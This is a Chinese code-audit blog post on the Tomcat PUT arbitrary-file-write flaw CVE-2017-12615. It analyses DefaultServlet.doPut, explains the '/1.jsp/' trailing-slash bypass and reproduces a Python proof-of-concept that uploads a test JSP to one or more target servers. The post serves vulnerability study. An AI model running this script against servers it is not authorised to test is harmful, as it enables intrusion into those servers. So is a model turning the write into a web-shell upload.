java代码审计-不安全的配置-Tomcat任意文件写入(CVE-2017-12615)

news2024/12/25 1:05:42

Tomcat任意文件写入(CVE-2017-12615)

影响范围:Apache Tomcat 7.0.0 - 7.0.79 (windows环境)

        当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

        Tomcat 在处理请求时有两个默认的 Servlet,一个是 DefaultServelt,另一个是JspServlet。两个 Servlet 被配置在 Tomcat 的 web.xml 中。

<servlet> 
    <servlet-name>default</servlet-name> 
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> 
 <init-param> 
    <param-name>debug</param-name> 
    <param-value>0</param-value> 
 </init-param> 
 <init-param> 
    <param-name>listings</param-name> 
    <param-value>false</param-value> 
 </init-param> 
    <load-on-startup>1</load-on-startup> 
 </servlet>
<servlet> 
    <servlet-name>jsp</servlet-name> 
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> 
 <init-param> 
    <param-name>fork</param-name> 
    <param-value>false</param-value> 
 </init-param> 
 <init-param> 
    <param-name>xpoweredBy</param-name> 
    <param-value>false</param-value> 
 </init-param> 
    <load-on-startup>3</load-on-startup> 
 </servlet

DefaultServelt与JspServlet的映射规则

 <servlet-mapping> 
    <servlet-name>default</servlet-name> 
    <url-pattern>/</url-pattern> 
 </servlet-mapping> 
 <!-- The mappings for the JSP servlet --> 
 <servlet-mapping> 
    <servlet-name>jsp</servlet-name> 
    <url-pattern>*.jsp</url-pattern> 
    <url-pattern>*.jspx</url-pattern> 
</servlet-mapping>

在DefaultServlet中有对put请求的处理方法,代码如下

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (this.readOnly) {
            resp.sendError(403);
        } else {
            String path = this.getRelativePath(req);
            WebResource resource = this.resources.getResource(path);
            DefaultServlet.Range range = this.parseContentRange(req, resp);
            Object resourceInputStream = null;
​
            try {
                if (range != null) {
                    File contentFile = this.executePartialPut(req, range, path);
                    resourceInputStream = new FileInputStream(contentFile);
                } else {
                    resourceInputStream = req.getInputStream();
                }
​
                if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                    if (resource.exists()) {
                        resp.setStatus(204);
                    } else {
                        resp.setStatus(201);
                    }
                } else {
                    resp.sendError(409);
                }
            } finally {
                if (resourceInputStream != null) {
                    try {
                        ((InputStream)resourceInputStream).close();
                    } catch (IOException var13) {
                    }
                }
​
            }
​
        }

这段代码是一个Java Servlet中的doPut()方法,用于处理HTTP PUT请求。具体来说,它用于更新或创建Web资源。

首先,代码检查了是否设置为只读模式。如果是只读模式,则通过resp.sendError(403)返回HTTP 403 Forbidden错误。

如果不是只读模式,则继续执行PUT请求的处理逻辑。首先,获取请求路径path,然后使用this.resources.getResource(path)从资源管理器中获取与该路径对应的Web资源对象,赋值给resource变量。

接下来,代码解析Content-Range请求头,以确定PUT请求的范围。如果存在范围,则执行部分更新操作,并将更新后的内容写入到临时文件中。然后,将该临时文件作为输入流赋值给resourceInputStream变量。如果没有范围,则直接使用请求的输入流作为resourceInputStream

然后,代码调用this.resources.write(path, (InputStream)resourceInputStream, true)方法,将输入流中的内容写入到指定的Web资源中。如果写入成功,则根据资源是否已存在返回相应的HTTP状态码(204表示资源已存在且成功更新,201表示资源创建成功)。如果写入失败,则返回HTTP 409 Conflict错误。

最后,在finally块中关闭resourceInputStream流。

请注意,我们无法提供完整的上下文,因此某些调用的具体实现细节可能无法确定。以上是根据提供的代码片段给出的大致解释。如果需要更多具体细节,请提供相关代码的完整上下文。

该方法的开端就判断了一个 readOnly 属性,当结果为 true 时会直接返回 403,但如果readOnly为false 那这段程序处理的逻辑是怎样的?

在web.xml将这个类(DefaultServlet)的readOnly设置为false

<init-param> 
    <param-name>readonly</param-name> 
    <param-value>false</param-value> 
</init-param>

        关键的代码在于 resources.write(path, resourceInputStream, true)的作用是将resourceInputStream中的资源内容写入到指定的path路径中的文件中,并且以追加的方式进行写入操作。

这里就有理由怀疑是否存在任意文件上传漏洞了,因为path与resourceInputStream为用户可控。

具体的漏洞利用复现请参考下面的文章,写的非常棒!

Tomcat任意文件写入(CVE-2017-12615)漏洞复现-含POC和EXP - 纸机 - 博客园 (cnblogs.com)icon-default.png?t=N7T8https://www.cnblogs.com/confidant/p/15440233.html

注1:这里提一下的为什么要get /1.jsp/而不是/1.jsp,因为当请求路径为/1.jsp/时,首先根据</servlet-mapping>,匹配到的是default,若请求路径为`/1.jsp则匹配的servlet为jsp,这样就无法进入doput方法。

注2:获取靶场环境中catalina包(内含defaultservlet)。将此容器环境中tomcat的catalina包拉取,拉取下来做代码分析。

最后学习大佬的poc编写

#CVE-2017-12615 POC
__author__ = '纸机'
import requests
import optparse
import os
​
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
​
options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
​
filename = '/hello.jsp'
​
#测试数据
data = 'hello'
​
#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)
​
#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1147717.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

部署K8S

防火强的初始化&#xff1a; [rootk8s-node-12 ~]# systemctl stop firewalld NetworkManager [rootk8s-node-12 ~]# systemctl disable firewalld NetworkManager Removed symlink /etc/systemd/system/multi-user.target.wants/NetworkManager.service. Removed symlink /et…

【Android】MQTT入门——服务器部署与客户端搭建

目录 MQTT 协议简介应用场景优点缺点 部署服务端下载安装包启动服务器 搭建客户端下载SDK添加依赖配置MQTT服务和权限建立连接订阅主题发布消息取消订阅断开连接 MQTT客户端工具最终效果实现传感器数据采集与监测功能思路 MQTT 协议 简介 MQTT&#xff08;Message Queuing Te…

剑指JUC原理-6.wait notify

wait nofity 小故事 - 为什么需要 wait 由于条件不满足&#xff0c;小南不能继续进行计算 但小南如果一直占用着锁&#xff0c;其它人就得一直阻塞&#xff0c;效率太低 于是老王单开了一间休息室&#xff08;调用 wait 方法&#xff09;&#xff0c;让小南到休息室&#xf…

C++可视化 有穷自动机NFA 有穷自动机DFA

一、项目介绍 根据正则表达式,可视化显示NFA&#xff0c;DFA&#xff1b;词法分析程序 二、项目展示

洛谷 B2007 A+B问题 C++代码

目录 题目描述 AC Code 题目描述 AC Code #include<bits/stdc.h> using namespace std; typedef long long ll; int main() { int a,b;cin>>a>>b;cout<<ab<<endl;return 0; }

F5修复了允许远程代码执行攻击的BIG-IP认证绕过漏洞

图片 导语 近日&#xff0c;网络安全公司Praetorian Security的研究人员发现了一项影响F5 BIG-IP配置工具的严重漏洞&#xff0c;该漏洞被命名为CVE-2023-46747。攻击者可以通过远程访问配置工具来执行未经身份验证的远程代码&#xff0c;从而对系统进行攻击。本文将详细介绍该…

基于 Python 的个性化电影推荐系统的研究与实现

1 简介 本毕业设计的内容是设计并且实现一个电影个性化推荐系统。它是在Windows下&#xff0c;以MYSQL为数据库开发平台&#xff0c;Python技术和Tomcat网络信息服务作为应用服务器。电影个性化推荐系统的功能已基本实现&#xff0c;主要实现首页&#xff0c;个人中心&#xf…

热力学第三定律

热力学第三定律能斯特定理 凝聚系的熵在等温过程中的改变随绝对温度趋于零 如果有 即有&#xff1a; 也就是说&#xff1a;当绝对温度趋于零时&#xff0c;熵和状态参量y无关。 普朗克绝对熵 当绝对温度趋于零时&#xff0c;一个化学均匀系统的熵趋向于一个极限值 也就是说&a…

【数据结构】面试OJ题——时间复杂度2

目录 一&#xff1a;移除元素 思路&#xff1a; 二&#xff1a;删除有序数组中的重复项 思路&#xff1a; 三&#xff1a;合并两个有序数组 思路1&#xff1a; 什么&#xff1f;你不知道qsort&#xff08;&#xff09; 思路2&#xff1a; 一&#xff1a;移除元素 27. 移…

离线语音通断器开发-稳定之后顺应新需求

使用云知声的US516p6方案开发了一系列的离线语音通断器&#xff0c;目前已经取得了不小的收获&#xff0c;有1路的&#xff0c;3路的&#xff0c;4路的&#xff0c;唛头和扬声器包括唛头线材也在不断的更新打磨中找到了效果特别好的供应商。 离线语音通断器&#xff0c;家用控…

【OpenCV实现平滑图像金字塔,轮廓:入门】

文章目录 概要图像金字塔轮廓&#xff1a;入门 概要 文章内容的概要&#xff1a; 平滑图像金字塔&#xff1a; 图像金字塔是什么&#xff1f; 图像金字塔是指将原始图像按照不同的分辨率进行多次缩小&#xff08;下采样&#xff09;得到的一系列图像。这种处理方式常用于图像…

openpnp - Warning - Unknown firmware

文章目录 openpnp - Warning - Unknown firmware概述笔记https://github.com/openpnp/openpnp/wiki/Motion-Controller-Firmwares备注END openpnp - Warning - Unknown firmware 概述 接上飞达控制板后, 显示未知固件的警告 开始没看源码之前, 总以为是回答的版本号不合适, …

L2-1 插松枝

L2-1 插松枝 分数 25 全屏浏览题目 切换布局 作者 陈越 单位 浙江大学 人造松枝加工场的工人需要将各种尺寸的塑料松针插到松枝干上&#xff0c;做成大大小小的松枝。他们的工作流程&#xff08;并不&#xff09;是这样的&#xff1a; 每人手边有一只小盒子&#xff0c;初始…

【算法-数组2】有序数组的平方 和 长度最小的子数组

今天&#xff0c;带来数组相关算法的讲解。文中不足错漏之处望请斧正&#xff01; 理论基础点这里 有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求也按 非递减顺序 排序。 示例 1&#xff1a; 输…

多线程---阻塞队列+生产者消费者模型

文章目录 阻塞队列自己实现一个阻塞队列&#xff08;三步&#xff09;标准库中的阻塞队列使用阻塞队列的优势 生产者消费者模型 阻塞队列 队列&#xff08;Queue&#xff09;是我们熟悉的一个数据结构&#xff0c;它是“先进先出”的。但是并不是所有的队列都是“先进先出”的…

椭圆曲线在SM2加解密中的应用(三)

一、SM2加密运算 1.1加密原始数据 SM2加密运算首先是用户A对数据加密,用户A拥有原始数据 椭圆曲线系统参数长度为klen比特的消息M公钥Pb椭圆曲线系统参数,已经在 椭圆曲线参数(二)中详细介绍;M就是需要加密消息,长度为klen; 1.1.1 公钥Pb的计算方式 公钥Pb=dBG,其中…

【MySQL--->复合查询】

文章目录 [TOC](文章目录) 一、基本查询二、多表查询三、自连接四、子查询1. 单行子查询2. 多行查询3.多列子查询4.在from语句中使用子查询5.合并查询 一、基本查询 查询工资高于500或岗位为MANAGER的雇员&#xff0c;同时还要满足他们的姓名首字母为大写的J 按照部门号升序而…

C++进阶篇3---二叉搜索树(Binary Search Tree)

一、二叉搜索树的概念 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是具有以下性质的二叉树: 若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节点的值 若它的右子树不为空&#xff0c;则右子树上所有节点的值都大于根节点的值 它的…

java之输入与输出的详细介绍

文章目录 输出的相关格式使用 Scanner 类进行控制台输入步骤&#xff1a;示例&#xff1a; 如何格式化输出&#xff1f;1. 使用 System.out.printf2. 使用 String.format printf与println 的区别printfprintln主要区别&#xff1a; 输出的相关格式 控制台输入是指通过命令行或…